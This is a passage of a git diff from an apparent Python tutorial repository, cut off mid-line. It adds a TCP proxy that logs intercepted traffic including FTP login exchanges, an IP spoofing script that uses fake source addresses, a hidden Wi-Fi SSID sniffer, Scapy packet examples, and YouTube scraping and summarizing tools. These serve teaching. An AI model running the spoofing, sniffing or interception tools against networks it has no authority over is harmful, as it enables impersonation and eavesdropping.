Sockets Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
Sodium Frank Denis
SPL Marcus Boerger, Etienne Kneuss
SQLite 3.x driver for PDO Wez Furlong
SQLite3 Scott MacVicar, Ilia Alshanetsky, Brad Dewar
System V Message based IPC Wez Furlong
System V Semaphores Tom May
System V Shared Memory Christian Cartus
tidy John Coggeshall, Ilia Alshanetsky
tokenizer Andrei Zmievski, Johannes Schlueter
XML Stig Bakken, Thies C. Arntzen, Sterling Hughes
XMLReader Rob Richards
xmlrpc Dan Libby
XMLWriter Rob Richards, Pierre-Alain Joye
XSL Christian Stocker, Rob Richards
Zip Pierre-Alain Joye, Remi Collet
Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
+ + + + + + +
PHP Documentation
Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
Editor Peter Cowburn
User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda
Other Contributors Previously active authors, editors and other contributors are listed in the manual.
+ + + +
PHP Quality Assurance Team
Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
+ + + + + + +
Websites and Infrastructure team
PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers Damien Seguy, Daniel P. Brown
Network Infrastructure Daniel P. Brown
Windows Infrastructure Alex Schoenmaker
+

PHP License

+ + +
+

+This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE +

+

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +

+

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net. +

+
+
\ No newline at end of file diff --git a/python-standard-library/grep-clone/requirements.txt b/python-standard-library/grep-clone/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/python-standard-library/grep-clone/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/python-standard-library/tcp-proxy/README.md b/python-standard-library/tcp-proxy/README.md new file mode 100644 index 00000000..f3dd655d --- /dev/null +++ b/python-standard-library/tcp-proxy/README.md @@ -0,0 +1 @@ +# [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python) \ No newline at end of file diff --git a/python-standard-library/tcp-proxy/tcp_proxy.py b/python-standard-library/tcp-proxy/tcp_proxy.py new file mode 100644 index 00000000..d27434ef --- /dev/null +++ b/python-standard-library/tcp-proxy/tcp_proxy.py @@ -0,0 +1,147 @@ +import sys +import socket +import threading +import time +from typing import Optional, Tuple, Dict + +class TcpProxy: + def __init__(self): + self._local_addr: str = "" + self._local_port: int = 0 + self._remote_addr: str = "" + self._remote_port: int = 0 + self._preload: bool = False + self._backlog: int = 5 + self._chunk_size: int = 16 + self._timeout: int = 5 + self._buffer_size: int = 4096 + self._termination_flags: Dict[bytes, bool] = { + b'220 ': True, + b'331 ': True, + b'230 ': True, + b'530 ': True + } + + def _process_data(self, stream: bytes) -> None: + #Transform data stream for analysis + for offset in range(0, len(stream), self._chunk_size): + block = stream[offset:offset + self._chunk_size] + + # Format block representation + bytes_view = ' '.join(f'{byte:02X}' for byte in block) + text_view = ''.join(chr(byte) if 32 <= byte <= 126 else '.' for byte in block) + + # Display formatted line + print(f"{offset:04X} {bytes_view:<{self._chunk_size * 3}} {text_view}") + + def _extract_stream(self, conn: socket.socket) -> bytes: + #Extract data stream from connection + accumulator = b'' + conn.settimeout(self._timeout) + + try: + while True: + fragment = conn.recv(self._buffer_size) + if not fragment: + break + + accumulator += fragment + + # Check for protocol markers + if accumulator.endswith(b'\r\n'): + for flag in self._termination_flags: + if flag in accumulator: + return accumulator + + except socket.timeout: + pass + + return accumulator + + def _monitor_stream(self, direction: str, stream: bytes) -> bytes: + # Monitor and decode stream content + try: + content = stream.decode('utf-8').strip() + marker = ">>>" if direction == "in" else "<<<" + print(f"{marker} {content}") + except UnicodeDecodeError: + print(f"{direction}: [binary content]") + + return stream + + def _bridge_connections(self, entry_point: socket.socket) -> None: + #Establish and maintain connection bridge + # Initialize exit point + exit_point = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + exit_point.connect((self._remote_addr, self._remote_port)) + # Handle initial remote response + if self._preload: + remote_data = self._extract_stream(exit_point) + if remote_data: + self._process_data(remote_data) + processed = self._monitor_stream("out", remote_data) + entry_point.send(processed) + # Main interaction loop + while True: + # Process incoming traffic + entry_data = self._extract_stream(entry_point) + if entry_data: + print(f"\n[>] Captured {len(entry_data)} bytes incoming") + self._process_data(entry_data) + processed = self._monitor_stream("in", entry_data) + exit_point.send(processed) + # Process outgoing traffic + exit_data = self._extract_stream(exit_point) + if exit_data: + print(f"\n[<] Captured {len(exit_data)} bytes outgoing") + self._process_data(exit_data) + processed = self._monitor_stream("out", exit_data) + entry_point.send(processed) + # Prevent CPU saturation + if not (entry_data or exit_data): + time.sleep(0.1) + except Exception as e: + print(f"[!] Bridge error: {str(e)}") + finally: + print("[*] Closing bridge") + entry_point.close() + exit_point.close() + + def orchestrate(self) -> None: + # Orchestrate the proxy operation + # Validate input + if len(sys.argv[1:]) != 5: + print("Usage: script.py [local_addr] [local_port] [remote_addr] [remote_port] [preload]") + print("Example: script.py 127.0.0.1 8080 target.com 80 True") + sys.exit(1) + # Configure proxy parameters + self._local_addr = sys.argv[1] + self._local_port = int(sys.argv[2]) + self._remote_addr = sys.argv[3] + self._remote_port = int(sys.argv[4]) + self._preload = "true" in sys.argv[5].lower() + # Initialize listener + listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + try: + listener.bind((self._local_addr, self._local_port)) + except socket.error as e: + print(f"[!] Binding failed: {e}") + sys.exit(1) + listener.listen(self._backlog) + print(f"[*] Service active on {self._local_addr}:{self._local_port}") + # Main service loop + while True: + client, address = listener.accept() + print(f"[+] Connection from {address[0]}:{address[1]}") + bridge = threading.Thread( + target=self._bridge_connections, + args=(client,) + ) + bridge.daemon = True + bridge.start() + +if __name__ == "__main__": + bridge = TcpProxy() + bridge.orchestrate() \ No newline at end of file diff --git a/scapy/crafting-packets/README.md b/scapy/crafting-packets/README.md new file mode 100644 index 00000000..c57f5974 --- /dev/null +++ b/scapy/crafting-packets/README.md @@ -0,0 +1 @@ +# [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python) \ No newline at end of file diff --git a/scapy/crafting-packets/network_latency_measure.py b/scapy/crafting-packets/network_latency_measure.py new file mode 100644 index 00000000..e5b1b43c --- /dev/null +++ b/scapy/crafting-packets/network_latency_measure.py @@ -0,0 +1,21 @@ +server_ips = ["192.168.27.1", "192.168.17.129", "192.168.17.128"] + +from scapy.all import IP, ICMP, sr1 +import time + +def check_latency(ip): + packet = IP(dst=ip) / ICMP() + start_time = time.time() + response = sr1(packet, timeout=2, verbose=0) + end_time = time.time() + + if response: + latency = (end_time - start_time) * 1000 # Convert to milliseconds + print(f"[+] Latency to {ip}: {latency:.2f} ms") + else: + print(f"[-] No response from {ip} (possible packet loss)") + +for server_ip in server_ips: + check_latency(server_ip) + + diff --git a/scapy/crafting-packets/packet_craft.py b/scapy/crafting-packets/packet_craft.py new file mode 100644 index 00000000..7d0f3399 --- /dev/null +++ b/scapy/crafting-packets/packet_craft.py @@ -0,0 +1,34 @@ +# Uncomment them and run according to the tutorial +#from scapy.all import IP, TCP, send, UDP + +# # Step 1: Creating a simple IP packet +# packet = IP(dst="192.168.1.1") # Setting the destination IP +# packet = IP(dst="192.168.1.1") / TCP(dport=80, sport=12345, flags="S") +# print(packet.show()) # Display packet details +# send(packet) + + +############ +# from scapy.all import ICMP + +# # Creating an ICMP Echo request packet +# icmp_packet = IP(dst="192.168.1.1") / ICMP() +# send(icmp_packet) + + +############ +# from scapy.all import UDP + +# # Creating a UDP packet +# udp_packet = IP(dst="192.168.1.1") / UDP(dport=53, sport=12345) +# send(udp_packet) + + + +########### +# blocked_packet = IP(dst="192.168.1.1") / TCP(dport=80, flags="S") +# send(blocked_packet) + +# allowed_packet = IP(dst="192.168.1.1") / UDP(dport=53) +# send(allowed_packet) + diff --git a/scapy/crafting-packets/requirements.txt b/scapy/crafting-packets/requirements.txt new file mode 100644 index 00000000..93b351f4 --- /dev/null +++ b/scapy/crafting-packets/requirements.txt @@ -0,0 +1 @@ +scapy \ No newline at end of file diff --git a/scapy/ip-spoofer/README.md b/scapy/ip-spoofer/README.md new file mode 100644 index 00000000..7ff62c7d --- /dev/null +++ b/scapy/ip-spoofer/README.md @@ -0,0 +1,4 @@ +# [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy) +To run this: +- `pip install -r requirements.txt` +- `python ip_spoofer.py [target_ip]` \ No newline at end of file diff --git a/scapy/ip-spoofer/ip_spoofer.py b/scapy/ip-spoofer/ip_spoofer.py new file mode 100644 index 00000000..bcb8dc0c --- /dev/null +++ b/scapy/ip-spoofer/ip_spoofer.py @@ -0,0 +1,42 @@ +# Import the neccasary modules. +import sys +from scapy.all import sr, IP, ICMP +from faker import Faker +from colorama import Fore, init + +# Initialize colorama for colored console output. +init() +# Create a Faker object for generating fake data. +fake = Faker() + +# Function to generate a fake IPv4 address. +def generate_fake_ip(): + return fake.ipv4() + +# Function to craft and send an ICMP packet. +def craft_and_send_packet(source_ip, destination_ip): + # Craft an ICMP packet with the specified source and destination IP. + packet = IP(src=source_ip, dst=destination_ip) / ICMP() + # Send and receive the packet with a timeout. + answers, _ = sr(packet, verbose=0, timeout=5) + return answers + +# Function to display a summary of the sent and received packets. +def display_packet_summary(sent, received): + print(f"{Fore.GREEN}[+] Sent Packet: {sent.summary()}\n") + print(f"{Fore.MAGENTA}[+] Response: {received.summary()}") + +# Check if the correct number of command-line arguments is provided. +if len(sys.argv) != 2: + print(f"{Fore.RED}[-] Error! {Fore.GREEN} Please run as: {sys.argv[0]} ") + sys.exit(1) + +# Retrieve the destination IP from the command-line arguments. +destination_ip = sys.argv[1] +# Generate a fake source IP. +source_ip = generate_fake_ip() +# Craft and send the packet, and receive the response. +answers = craft_and_send_packet(source_ip, destination_ip) +# Display the packet summary for each sent and received pair. +for sent, received in answers: + display_packet_summary(sent, received) diff --git a/scapy/ip-spoofer/requirements.txt b/scapy/ip-spoofer/requirements.txt new file mode 100644 index 00000000..e9252b0c --- /dev/null +++ b/scapy/ip-spoofer/requirements.txt @@ -0,0 +1,3 @@ +scapy +faker +colorama \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/README.md b/scapy/uncover-hidden-wifis/README.md new file mode 100644 index 00000000..dcd094d6 --- /dev/null +++ b/scapy/uncover-hidden-wifis/README.md @@ -0,0 +1 @@ +# [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python) \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/requirements.txt b/scapy/uncover-hidden-wifis/requirements.txt new file mode 100644 index 00000000..9661693f --- /dev/null +++ b/scapy/uncover-hidden-wifis/requirements.txt @@ -0,0 +1,2 @@ +scapy +colorama \ No newline at end of file diff --git a/scapy/uncover-hidden-wifis/view_hidden_ssids.py b/scapy/uncover-hidden-wifis/view_hidden_ssids.py new file mode 100644 index 00000000..cd05db05 --- /dev/null +++ b/scapy/uncover-hidden-wifis/view_hidden_ssids.py @@ -0,0 +1,58 @@ +# Operating system functions. +import os +# Import all functions from scapy library. +from scapy.all import * +# Import Fore from colorama for colored console output, and init for colorama initialization. +from colorama import Fore, init +# Initialize colorama +init() + +# Set to store unique SSIDs. +seen_ssids = set() + + +# Function to set the wireless adapter to monitor mode. +def set_monitor_mode(interface): + # Bring the interface down. + os.system(f'ifconfig {interface} down') + # Set the mode to monitor. + os.system(f'iwconfig {interface} mode monitor') + # Bring the interface back up. + os.system(f'ifconfig {interface} up') + + +# Function to process Wi-Fi packets. +def process_wifi_packet(packet): + # Check if the packet is a Probe Request, Probe Response, or Association Request. + if packet.haslayer(Dot11ProbeReq) or packet.haslayer(Dot11ProbeResp) or packet.haslayer(Dot11AssoReq): + # Extract SSID and BSSID from the packet. + ssid = packet.info.decode('utf-8', errors='ignore') + bssid = packet.addr3 + + # Check if the SSID is not empty and not in the set of seen SSIDs, and if the BSSID is not the broadcast/multicast address. + if ssid and ssid not in seen_ssids and bssid.lower() != 'ff:ff:ff:ff:ff:ff': + # Add the SSID to the set. + seen_ssids.add(ssid) + # Print the identified SSID and BSSID in green. + print(f"{Fore.GREEN}[+] SSID: {ssid} ----> BSSID: {bssid}") + + +# Main function. +def main(): + # Define the wireless interface. + wireless_interface = 'wlan0' + + # Set the wireless adapter to monitor mode. + set_monitor_mode(wireless_interface) + + # Print a message indicating that sniffing is starting on the specified interface in magenta. + print(f"{Fore.MAGENTA}[+] Sniffing on interface: {wireless_interface}") + + # Start sniffing Wi-Fi packets on the specified interface, calling process_wifi_packet for each packet, and disabling packet storage + sniff(iface=wireless_interface, prn=process_wifi_packet, store=0) + + +# Check if the script is being run as the main program. +if __name__ == "__main__": + # Call the main function. + main() diff --git a/web-scraping/youtube-extractor/extract_video_info.py b/web-scraping/youtube-extractor/extract_video_info.py index 042ce4f8..bed184b0 100644 --- a/web-scraping/youtube-extractor/extract_video_info.py +++ b/web-scraping/youtube-extractor/extract_video_info.py @@ -1,92 +1,150 @@ -from requests_html import HTMLSession -from bs4 import BeautifulSoup as bs +import requests +from bs4 import BeautifulSoup import re import json - -# init session -session = HTMLSession() - +import argparse def get_video_info(url): - # download HTML code - response = session.get(url) - # execute Javascript - response.html.render(timeout=60) - # create beautiful soup object to parse HTML - soup = bs(response.html.html, "html.parser") - # open("index.html", "w").write(response.html.html) - # initialize the result - result = {} - # video title - result["title"] = soup.find("meta", itemprop="name")['content'] - # video views - result["views"] = soup.find("meta", itemprop="interactionCount")['content'] - # video description - result["description"] = soup.find("meta", itemprop="description")['content'] - # date published - result["date_published"] = soup.find("meta", itemprop="datePublished")['content'] - # get the duration of the video - result["duration"] = soup.find("span", {"class": "ytp-time-duration"}).text - # get the video tags - result["tags"] = ', '.join([ meta.attrs.get("content") for meta in soup.find_all("meta", {"property": "og:video:tag"}) ]) - - # Additional video and channel information (with help from: https://stackoverflow.com/a/68262735) - data = re.search(r"var ytInitialData = ({.*?});", soup.prettify()).group(1) - data_json = json.loads(data) - videoPrimaryInfoRenderer = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'][0]['videoPrimaryInfoRenderer'] - videoSecondaryInfoRenderer = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'][1]['videoSecondaryInfoRenderer'] - # number of likes - likes_label = videoPrimaryInfoRenderer['videoActions']['menuRenderer']['topLevelButtons'][0]['toggleButtonRenderer']['defaultText']['accessibility']['accessibilityData']['label'] # "No likes" or "###,### likes" - likes_str = likes_label.split(' ')[0].replace(',','') - result["likes"] = '0' if likes_str == 'No' else likes_str - # number of likes (old way) doesn't always work - # text_yt_formatted_strings = soup.find_all("yt-formatted-string", {"id": "text", "class": "ytd-toggle-button-renderer"}) - # result["likes"] = ''.join([ c for c in text_yt_formatted_strings[0].attrs.get("aria-label") if c.isdigit() ]) - # result["likes"] = 0 if result['likes'] == '' else int(result['likes']) - # number of dislikes - YouTube does not publish this anymore... - # result["dislikes"] = ''.join([ c for c in text_yt_formatted_strings[1].attrs.get("aria-label") if c.isdigit() ]) - # result["dislikes"] = '0' if result['dislikes'] == '' else result['dislikes'] - result['dislikes'] = 'UNKNOWN' - # channel details - channel_tag = soup.find("meta", itemprop="channelId")['content'] - # channel name - channel_name = soup.find("span", itemprop="author").next.next['content'] - # channel URL - # channel_url = soup.find("span", itemprop="author").next['href'] - channel_url = f"https://www.youtube.com/%7Bchannel_tag%7D" - # number of subscribers as str - channel_subscribers = videoSecondaryInfoRenderer['owner']['videoOwnerRenderer']['subscriberCountText']['accessibility']['accessibilityData']['label'] - # channel details (old way) - # channel_tag = soup.find("yt-formatted-string", {"class": "ytd-channel-name"}).find("a") - # # channel name (old way) - # channel_name = channel_tag.text - # # channel URL (old way) - # channel_url = f"https://www.youtube.com{channel_tag['href']}" - # number of subscribers as str (old way) - # channel_subscribers = soup.find("yt-formatted-string", {"id": "owner-sub-count"}).text.strip() - result['channel'] = {'name': channel_name, 'url': channel_url, 'subscribers': channel_subscribers} - return result + """ + Extract video information from YouTube using modern approach + """ + headers = { + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' + } + + try: + # Download HTML code + response = requests.get(url, headers=headers) + response.raise_for_status() + + # Create beautiful soup object to parse HTML + soup = BeautifulSoup(response.text, "html.parser") + + # Initialize the result + result = {} + + # Extract ytInitialData which contains all the video information + data_match = re.search(r'var ytInitialData = ({.*?});', response.text) + if not data_match: + raise Exception("Could not find ytInitialData in page") + + data_json = json.loads(data_match.group(1)) + + # Get the main content sections + contents = data_json['contents']['twoColumnWatchNextResults']['results']['results']['contents'] + + # Extract video information from videoPrimaryInfoRenderer + if 'videoPrimaryInfoRenderer' in contents[0]: + primary = contents[0]['videoPrimaryInfoRenderer'] + + # Video title + result["title"] = primary['title']['runs'][0]['text'] + + # Video views + result["views"] = primary['viewCount']['videoViewCountRenderer']['viewCount']['simpleText'] + + # Date published + result["date_published"] = primary['dateText']['simpleText'] + + # Extract channel information from videoSecondaryInfoRenderer + secondary = None + if 'videoSecondaryInfoRenderer' in contents[1]: + secondary = contents[1]['videoSecondaryInfoRenderer'] + owner = secondary['owner']['videoOwnerRenderer'] + + # Channel name + channel_name = owner['title']['runs'][0]['text'] + + # Channel ID + channel_id = owner['navigationEndpoint']['browseEndpoint']['browseId'] + + # Channel URL - FIXED with proper /channel/ path + channel_url = f"https://www.youtube.com/channel/%7Bchannel_id%7D" + + # Number of subscribers + channel_subscribers = owner['subscriberCountText']['accessibility']['accessibilityData']['label'] + + result['channel'] = { + 'name': channel_name, + 'url': channel_url, + 'subscribers': channel_subscribers + } + + # Extract video description + if secondary and 'attributedDescription' in secondary: + description_runs = secondary['attributedDescription']['content'] + result["description"] = description_runs + else: + result["description"] = "Description not available" + + # Try to extract video duration from player overlay + # This is a fallback approach since the original method doesn't work + duration_match = re.search(r'"approxDurationMs":"(\d+)"', response.text) + if duration_match: + duration_ms = int(duration_match.group(1)) + minutes = duration_ms // 60000 + seconds = (duration_ms % 60000) // 1000 + result["duration"] = f"{minutes}:{seconds:02d}" + else: + result["duration"] = "Duration not available" + + # Extract video tags if available + video_tags = [] + if 'keywords' in data_json.get('metadata', {}).get('videoMetadataRenderer', {}): + video_tags = data_json['metadata']['videoMetadataRenderer']['keywords'] + result["tags"] = ', '.join(video_tags) if video_tags else "No tags available" + + # Extract likes (modern approach) + result["likes"] = "Likes count not available" + result["dislikes"] = "UNKNOWN" # YouTube no longer shows dislikes + + # Try to find likes in the new structure + for content in contents: + if 'compositeVideoPrimaryInfoRenderer' in content: + composite = content['compositeVideoPrimaryInfoRenderer'] + if 'likeButton' in composite: + like_button = composite['likeButton'] + if 'toggleButtonRenderer' in like_button: + toggle = like_button['toggleButtonRenderer'] + if 'defaultText' in toggle: + default_text = toggle['defaultText'] + if 'accessibility' in default_text: + accessibility = default_text['accessibility'] + if 'accessibilityData' in accessibility: + label = accessibility['accessibilityData']['label'] + if 'like' in label.lower(): + result["likes"] = label + + return result + + except Exception as e: + raise Exception(f"Error extracting video info: {str(e)}") if __name__ == "__main__": - import argparse parser = argparse.ArgumentParser(description="YouTube Video Data Extractor") parser.add_argument("url", help="URL of the YouTube video") args = parser.parse_args() + # parse the video URL from command line url = args.url - data = get_video_info(url) + try: + data = get_video_info(url) - # print in nice format - print(f"Title: {data['title']}") - print(f"Views: {data['views']}") - print(f"Published at: {data['date_published']}") - print(f"Video Duration: {data['duration']}") - print(f"Video tags: {data['tags']}") - print(f"Likes: {data['likes']}") - print(f"Dislikes: {data['dislikes']}") - print(f"\nDescription: {data['description']}\n") - print(f"\nChannel Name: {data['channel']['name']}") - print(f"Channel URL: {data['channel']['url']}") - print(f"Channel Subscribers: {data['channel']['subscribers']}") + # print in nice format + print(f"Title: {data['title']}") + print(f"Views: {data['views']}") + print(f"Published at: {data['date_published']}") + print(f"Video Duration: {data['duration']}") + print(f"Video tags: {data['tags']}") + print(f"Likes: {data['likes']}") + print(f"Dislikes: {data['dislikes']}") + print(f"\nDescription: {data['description']}\n") + print(f"\nChannel Name: {data['channel']['name']}") + print(f"Channel URL: {data['channel']['url']}") + print(f"Channel Subscribers: {data['channel']['subscribers']}") + + except Exception as e: + print(f"Error: {e}") + print("\nNote: YouTube frequently changes its structure, so this script may need updates.") \ No newline at end of file diff --git a/web-scraping/youtube-transcript-summarizer/README.md b/web-scraping/youtube-transcript-summarizer/README.md new file mode 100644 index 00000000..a3df25a0 --- /dev/null +++ b/web-scraping/youtube-transcript-summarizer/README.md @@ -0,0 +1 @@ +# [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python) \ No newline at end of file diff --git a/web-scraping/youtube-transcript-summarizer/requirements.txt b/web-scraping/youtube-transcript-summarizer/requirements.txt new file mode 100644 index 00000000..865ee3b5 --- /dev/null +++ b/web-scraping/youtube-transcript-summarizer/requirements.txt @@ -0,0 +1,5 @@ +nltk +pytube +youtube_transcript_api +colorama +openai diff --git a/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py b/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py new file mode 100644 index 00000000..bdb80f54 --- /dev/null +++ b/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py @@ -0,0 +1,319 @@ +import os +import sys +import nltk +import pytube +from youtube_transcript_api import YouTubeTranscriptApi +from nltk.corpus import stopwords +from nltk.tokenize import sent_tokenize, word_tokenize +from nltk.probability import FreqDist +from heapq import nlargest +from urllib.parse import urlparse, parse_qs +import textwrap +from colorama import Fore, Back, Style, init +from openai import OpenAI + +# Initialize colorama for cross-platform colored terminal output +init(autoreset=True) + +# Download necessary NLTK data +nltk.download('punkt_tab', quiet=True) +nltk.download('punkt', quiet=True) +nltk.download('stopwords', quiet=True) + +# Initialize OpenAI client from environment variable +# Expect the OpenRouter API key to be provided via OPENROUTER_API_KEY +api_key = os.getenv("OPENROUTER_API_KEY") +if not api_key: + print(Fore.RED + "Error: OPENROUTER_API_KEY environment variable is not set or is still the placeholder ('').") + sys.exit(1) +else: + client = OpenAI( + base_url="https://openrouter.ai/api/v1", + api_key=api_key, + ) + +def extract_video_id(youtube_url): + """Extract the video ID from a YouTube URL.""" + parsed_url = urlparse(youtube_url) + + if parsed_url.netloc == 'youtu.be': + return parsed_url.path[1:] + + if parsed_url.netloc in ('www.youtube.com', 'youtube.com'): + if parsed_url.path == '/watch': + return parse_qs(parsed_url.query)['v'][0] + elif parsed_url.path.startswith('/embed/'): + return parsed_url.path.split('/')[2] + elif parsed_url.path.startswith('/v/'): + return parsed_url.path.split('/')[2] + + # If no match found + raise ValueError(f"Could not extract video ID from URL: {youtube_url}") + +def get_transcript(video_id): + """Get the transcript of a YouTube video.""" + try: + youtube_transcript_api = YouTubeTranscriptApi() + fetched_transcript = youtube_transcript_api.fetch(video_id) + full_transcript = " ".join([snippet.text for snippet in fetched_transcript.snippets]) + return full_transcript.strip() + except Exception as e: + return f"Error retrieving transcript: {str(e)}." + +def summarize_text_nltk(text, num_sentences=5): + """Summarize text using frequency-based extractive summarization with NLTK.""" + if not text or text.startswith("Error") or text.startswith("Transcript not available"): + return text + + # Tokenize the text into sentences and words + sentences = sent_tokenize(text) + + # If there are fewer sentences than requested, return all sentences + if len(sentences) <= num_sentences: + return text + + # Tokenize words and remove stopwords + stop_words = set(stopwords.words('english')) + words = word_tokenize(text.lower()) + words = [word for word in words if word.isalnum() and word not in stop_words] + + # Calculate word frequencies + freq = FreqDist(words) + + # Score sentences based on word frequencies + sentence_scores = {} + for i, sentence in enumerate(sentences): + for word in word_tokenize(sentence.lower()): + if word in freq: + if i in sentence_scores: + sentence_scores[i] += freq[word] + else: + sentence_scores[i] = freq[word] + + # Get the top N sentences with highest scores + summary_sentences_indices = nlargest(num_sentences, sentence_scores, key=sentence_scores.get) + summary_sentences_indices.sort() # Sort to maintain original order + + # Construct the summary + summary = ' '.join([sentences[i] for i in summary_sentences_indices]) + return summary + +def summarize_text_ai(text, video_title, num_sentences=5): + """Summarize text using the Mistral AI model via OpenRouter.""" + if not text or text.startswith("Error") or text.startswith("Transcript not available"): + return text + + # Truncate text if it's too long (models often have token limits) + max_chars = 15000 # Adjust based on model's context window + truncated_text = text[:max_chars] if len(text) > max_chars else text + + prompt = f"""Please provide a concise summary of the following YouTube video transcript. +Title: {video_title} + +Transcript: +{truncated_text} + +Create a clear, informative summary that captures the main points and key insights from the video. +Your summary should be approximately {num_sentences} sentences long. +""" + + try: + completion = client.chat.completions.create( + model="mistralai/mistral-small-3.1-24b-instruct:free", + messages=[ + { + "role": "user", + "content": [ + { + "type": "text", + "text": prompt + } + ] + } + ] + ) + return completion.choices[0].message.content + except Exception as e: + return f"Error generating AI summary: {str(e)}" + +def summarize_youtube_video(youtube_url, num_sentences=5): + """Main function to summarize a YouTube video's transcription.""" + try: + video_id = extract_video_id(youtube_url) + transcript = get_transcript(video_id) + + # Get video title for context + try: + yt = pytube.YouTube(youtube_url) + video_title = yt.title + + except Exception as e: + video_title = "Unknown Title" + + + # Generate both summaries + print(Fore.YELLOW + f"Generating AI summary with {num_sentences} sentences...") + ai_summary = summarize_text_ai(transcript, video_title, num_sentences) + + print(Fore.YELLOW + f"Generating NLTK summary with {num_sentences} sentences...") + nltk_summary = summarize_text_nltk(transcript, num_sentences) + + return { + "video_title": video_title, + "video_id": video_id, + "ai_summary": ai_summary, + "nltk_summary": nltk_summary, + "full_transcript_length": len(transcript.split()), + "nltk_summary_length": len(nltk_summary.split()), + "ai_summary_length": len(ai_summary.split()) if not ai_summary.startswith("Error") else 0 + } + except Exception as e: + return {"error": str(e)} + +def format_time(seconds): + """Convert seconds to a readable time format.""" + hours, remainder = divmod(seconds, 3600) + minutes, seconds = divmod(remainder, 60) + + if hours > 0: + return f"{hours}h {minutes}m {seconds}s" + elif minutes > 0: + return f"{minutes}m {seconds}s" + else: + return f"{seconds}s" + +def format_number(number): + """Format large numbers with commas for readability.""" + return "{:,}".format(number) + +def print_boxed_text(text, width=80, title=None, color=Fore.WHITE): + """Print text in a nice box with optional title.""" + wrapper = textwrap.TextWrapper(width=width-4) # -4 for the box margins + wrapped_text = wrapper.fill(text) + lines = wrapped_text.split('\n') + + # Print top border with optional title + if title: + title_space = width - 4 - len(title) + left_padding = title_space // 2 + right_padding = title_space - left_padding + print(color + '┌' + '─' * left_padding + title + '─' * right_padding + '┐') + else: + print(color + '┌' + '─' * (width-2) + '┐') + + # Print content + for line in lines: + padding = width - 2 - len(line) + print(color + '│ ' + line + ' ' * padding + '│') + + # Print bottom border + print(color + '└' + '─' * (width-2) + '┘') + +def print_summary_result(result, width=80): + """Print the summary result in a nicely formatted way.""" + if "error" in result: + print_boxed_text(f"Error: {result['error']}", width=width, title="ERROR", color=Fore.RED) + return + + # Terminal width + terminal_width = width + + # Print header with video information + print("\n" + Fore.CYAN + "=" * terminal_width) + print(Fore.CYAN + Style.BRIGHT + result['video_title'].center(terminal_width)) + print(Fore.CYAN + "=" * terminal_width + "\n") + + # Video metadata section + print(Fore.YELLOW + Style.BRIGHT + "VIDEO INFORMATION".center(terminal_width)) + print(Fore.YELLOW + "─" * terminal_width) + + # Two-column layout for metadata + col_width = terminal_width // 2 - 2 + + # Row 3 + print(f"{Fore.GREEN}Video ID: {Fore.WHITE}{result['video_id']:<{col_width}}" + f"{Fore.GREEN}URL: {Fore.WHITE}https://youtu.be/{result['video_id']}") + + print(Fore.YELLOW + "─" * terminal_width + "\n") + + # AI Summary section + ai_compression = "N/A" + if result['ai_summary_length'] > 0: + ai_compression = round((1 - result['ai_summary_length'] / result['full_transcript_length']) * 100) + + ai_summary_title = f" AI SUMMARY ({result['ai_summary_length']} words, condensed {ai_compression}% from {result['full_transcript_length']} words) " + + print(Fore.GREEN + Style.BRIGHT + ai_summary_title.center(terminal_width)) + print(Fore.GREEN + "─" * terminal_width) + + # Print the AI summary with proper wrapping + wrapper = textwrap.TextWrapper(width=terminal_width-4, + initial_indent=' ', + subsequent_indent=' ') + + # Split AI summary into paragraphs and print each + ai_paragraphs = result['ai_summary'].split('\n') + for paragraph in ai_paragraphs: + if paragraph.strip(): # Skip empty paragraphs + print(wrapper.fill(paragraph)) + print() # Empty line between paragraphs + + print(Fore.GREEN + "─" * terminal_width + "\n") + + # NLTK Summary section + nltk_compression = round((1 - result['nltk_summary_length'] / result['full_transcript_length']) * 100) + nltk_summary_title = f" NLTK SUMMARY ({result['nltk_summary_length']} words, condensed {nltk_compression}% from {result['full_transcript_length']} words) " + + print(Fore.MAGENTA + Style.BRIGHT + 